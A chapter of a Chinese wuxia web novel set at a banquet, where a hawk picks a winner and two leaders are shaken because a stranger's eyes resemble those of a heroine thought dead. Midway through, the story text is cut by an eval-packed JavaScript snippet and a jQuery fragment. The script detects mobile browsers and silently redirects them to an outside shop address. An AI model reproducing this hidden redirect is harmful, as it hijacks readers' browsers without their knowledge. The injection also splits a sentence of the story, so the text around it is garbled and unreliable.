文趣网 > 都市小说 > 江湖已故白月光竟是我自己 > 40. 她的眼睛
    风无疾抿了口清凉的酒水,抬眼之际,她注意到对面的男人眉头紧锁,死死盯着许迁涂,神情不甘。

    他似乎没想到会是这样的败局结果。

    岳英本来对这场游戏势在必得,在参加夏日宴前,他就给无方园内的侍女塞了些银两,透露了一些宴席上会出现的内容,再加上他本就对驯兽一术信手拈来,特意准备了可吸引鹰兽的香囊。

    鹰兽对气味一向敏感,香囊中放了特殊的草,按理说,苍鹰嗅到香囊中的气味,一定会飞近。

    现在好了,被个丫头截胡了!

    岳英冷哼一声,拂袖垂首,为自己斟满一杯茶,水珠迸溅。

    没过多久,方回自后门绕回崔柳身侧,如同一道并不起眼的影子,他单膝跪地,低声道:“主上,我已问讯门人。她是翼州许氏的嫡女,许迁涂,没什么特别之处,唯一可疑的是..….”

    他顿了顿,继续道:“许小姐身旁守着一男一女,不清楚身份。但听门人说,女人的请帖貌似是殷家的,那男用的人是苍家请帖...…”

    “他们共同进出,请帖皆不是自己的,行踪古怪。”

    “一男一女,身份不详...…”闻言,崔柳眼神逐渐泛冷,目光掠过人群,落在风无疾头顶,如一把悬于命门待落的侧刀。

    几乎是她看过来的一瞬间,李长弃黑眸微动,自幼训成的习惯,迫使他下意识就要按剑,下一刻被风无疾的长指按住手背。

    她道:“别动。”

    风无疾平静地抬起眼,与崔柳探究的目光碰撞到一起。

    「轰——!!」

    目光碰撞的刹那,有什么东西在崔柳的脑袋里轰然炸开,她脸上血色尽褪!

    万奇影正想发问,就见崔柳的身子似乎在微微战栗,她在恐惧。

    “柳儿?”万奇影唤了一声,见崔柳未予回应,这才不解地顺着她的目光寻了下去。

    下一刻,他瞳孔地震,瞬间僵在原地!

    “二哥...你看她的眼睛.…..”

    崔柳倏地伸手,紧紧抓住万奇影的手臂,指尖止不住的颤抖着。若不是她是坐着,恐怕刚刚就瘫软在地了。

    万奇影宛如被定在原地一般,一动不动。短短几秒内,他脑海中闪过无数个画面,最终定格在一节模糊的碎片上。

    ——霜树之下,风雪厉厉,雪尘缭绕。

    那一年,他们还未曾建立除悲华,她也没有盛名天下,没有勾心斗角,一切停留在最初的美好。

    雪落满山,一道素白的身影立于离他不远的树下,背对着他,似不染俗尘的神女,远离世俗。

    少女披霜戴雪,衣袂翻飞,意气风发。

    她回过头来,明亮的眼底含着淡淡的笑意,逆着,在霜树下向他递来一眼。她唇角微勾,抬起下巴,一脸傲然,却对他伸出手。

    “想跟我一起踏遍青凝山雪吗?”

    只这一声,也只需这一声。

    于是,周围飞雪漫天,簌簌落下,但彼时映在他眼中,万物都是模糊的,唯余这一抹白色清晰。

    那双眼眸实在惊艳,如琉璃色浅,不染情欲,令人无法自控的想要接近她,触及神祇。

    明明一身轻狂气,却不生疏离。

    雪色无深浅,竟是惊鸿色。

    万奇影忍不住地伸出手,想要触碰少女。

    是她吗?这双眼睛太像了,可这又怎么可能呢。女人一袭惹眼红衣,除了那双眼睛,与她再无半点的相似。

    “不...不会的。”不会是她的。

    像是想到什么,万奇影指尖微微瑟缩,如梦初醒,旋即猛地收回手,踉跄着后退几步,身形不稳。

    他目光涣散,连白扇掉落在地都无暇顾及,不断喃喃道:“怎么可能呢,怎么会是她呢.…..”

    闻言,崔柳思绪被狠狠一拽,瞬间回过神。

    她狠狠闭上了眼,再次睁眼时,面色已恢复如常。崔柳稳住心神,抬手命令方回,道:“下去查查这人是谁。”

    “是。”

    万奇影攥紧拳,指甲深深扣进肉里,以疼痛换来了短暂的清醒。他抿了抿唇,看向崔柳:“柳儿,你是怀疑…...”

    “不管是什么。”崔柳利落地打断了他的话,语气冰冷,“二哥,你要记住,真正的风长忧已经回来了。若有人与她相似,即便是一模一样,也只是易容。”

    “……”

    “二哥!”

    见万奇影神情恍惚,眼神发怔,崔柳蹙起眉头,却又恐惊扰了他人,压低声音,提醒道:“别忘了,我们答应了那位什么!”

    “我清楚你心中的惶惑,我与你一样,现在亦是,但此刻不是考虑这个的时候!”

    与客座间的哄吵不同,此刻,两人之间极为寂静,好像与世隔绝。

    见万奇影还是无动于衷,完完全全将自己沉溺于回忆中。崔柳压着心中的烦躁与恐惧,猛地站起身,低喝道:“二哥!你别忘了她当年……”

    “够了!”仿佛崔柳即将说的话会触碰到他心底最深的痛处,万奇影忍不住斥止了一声。

    崔柳猝然一停,喉间发哽,盯着他的眼底掠过一抹诧异。

    认识万奇影十一年,从少年到如今,她都极少见过这位向来温和谦逊的人动大怒,用这般冷硬的语气对她。

    万奇影像是意识到了自己的失态,他深吸了口气,缓了缓心情,叹息道:“我都明白,柳儿,我不会忘的。以后...…不要再提那些事了。”

    他会控制不住发疯的。

    许迁涂身体紧绷,拉紧了风无疾的衣袖,掌心出汗。她不敢乱动,生怕自己一动,就会惊扰到肩上的悲鹰。

    “风姐姐!”

    许迁涂小声喊了一句,朝着风无疾侧过头,动作幅度极小,略显僵硬。但那双眉眼依旧灵动,笑容灿烂:“你看,这算不算是我们赢了!”

    “嗯,赢了,”风无疾唇角轻翘,应道。

    女孩那副小心翼翼的模样落在她眼里,令她有些想笑,风无疾安抚道:“不必害怕,随意动,它不会跑的。”

    见许迁涂依旧不敢擅动,风无疾无可奈何。

    “好了,小阿涂,你瞧。”似是为了给她证实一般,风无疾伸出手,指节微曲,欲碰向悲鹰的鸟喙。

    然而,就当她的手指要碰到它的那一刻,悲鹰的目光瞬间变为警惕,带着敌意。

    它转过头,张嘴便欲咬!

    ——下一秒,悲鹰在触

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646589|206374||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    及风无疾含着笑意的眼眸时,动作赫然停下。

    顶着她压迫的视线,悲鹰瑟缩了一下头,眼珠微动,状似若无其事地用头蹭了蹭风无疾的手指。

    像是在讨好。

    这副场景若是落入他人眼中,不知道又会掀起怎样的波涛,但幸好,风无疾的位置正好能挡住别人窥探的视线。

    风无疾笑意微深,对许迁涂道:“你看,我碰它它都不跑,你怕什么?”

    许迁涂“啊”了一声,眨眨眼,试探性地起身走了几步。果然,悲鹰牢牢抓住了她的肩,未因她的动作而惊扰飞出去。

    女孩眼中闪过一丝讶然,惊叹道:“真的哎!”

    许迁涂满脸喜悦,对着远处的崔柳挥手,脆声喊道:“柳大人!您看,我们是不是算赢了?”

    见此,崔柳眼神微动,长睫敛去暗芒。她站起身,衣摆随风而动,走近后停在许迁涂的身前。

    崔柳的视线先是随意扫过风无疾,最后才落到女孩脸上。

    “翼州许氏的…许小姐,”崔柳微微一笑,缓慢地碾过后三个字。可如果有人可以仔细观察她,就能发现她眼睛里一丁点温意都不存在。

    许迁涂讶然她竟然知晓自己的身份,但转念一想,人家是宴席之主,调查清楚每个人的身份是必要责任,这样想着,她点点头,礼貌回道:“柳大人,您好。”

    崔柳微微仰头,睨了眼悲鹰,似是惊讶,似是叹息。她道:“真是神奇…这么多年来,我还是第一次见它这般亲近他人,毕竟这悲鹰,连对二哥都高傲的很呢。”

    本是略显平常的一声感叹,许迁涂却品出一丝不对劲,她措地抬眸,张了张嘴,刚想说什么。

    “不过——”

    只见,崔柳话锋倏地一转,道:“不管许小姐是用了什么方法...…”

    崔柳抬起手,露出那只白色手衣,将垂落的发丝绕到耳后,笑意生寒:“都看的出来,悲鹰貌似很喜欢你。”

    ‘貌似’一词,被她咬重了字音,便生出别的意味的枝节,让人忍不住顺枝而攀,探觅这背后的真相。

    话落,两人之间的气氛陷入了一刻凝固的寂静,略显诡异。

    “柳大人。”

    许迁涂彻底发觉她话中似乎带有针对的意味。她笑意消失,微皱起眉,下意识向后退了一步,与她有了些距离,这才开口:“您这是什么意思?”

    崔柳没有回应,只是伸出葱白的手指,轻触了下悲鹰的羽翅,眼睛里的寒光闪烁,意味不明。

    旋即,崔柳毫无留恋地转过身,裙尾轻晃,日光映在她脸上,莹白如玉般的肌肤镀上一层暖色的浅光。

    周围人的呼吸不由得一静,一半源于她的压迫感,一半源于花的容貌。像是一支看似无毒无害的花,在你伸手想碰之际,突然生出扎人的毒刺,张开血盆大口生吞下你。

    崔柳确实生的好看,若没有手上的疤,或许“残柳”的名号就该改了吧。

    “这场游戏的胜者,便是许小姐了。”她对着众人宣布了最终的结果。随后又侧过头,对许迁涂亲和的笑道:“许小姐,待宴席结束,来后院找我便好。”

    许迁涂张了张嘴。

    “啊……对了。”崔柳笑了笑。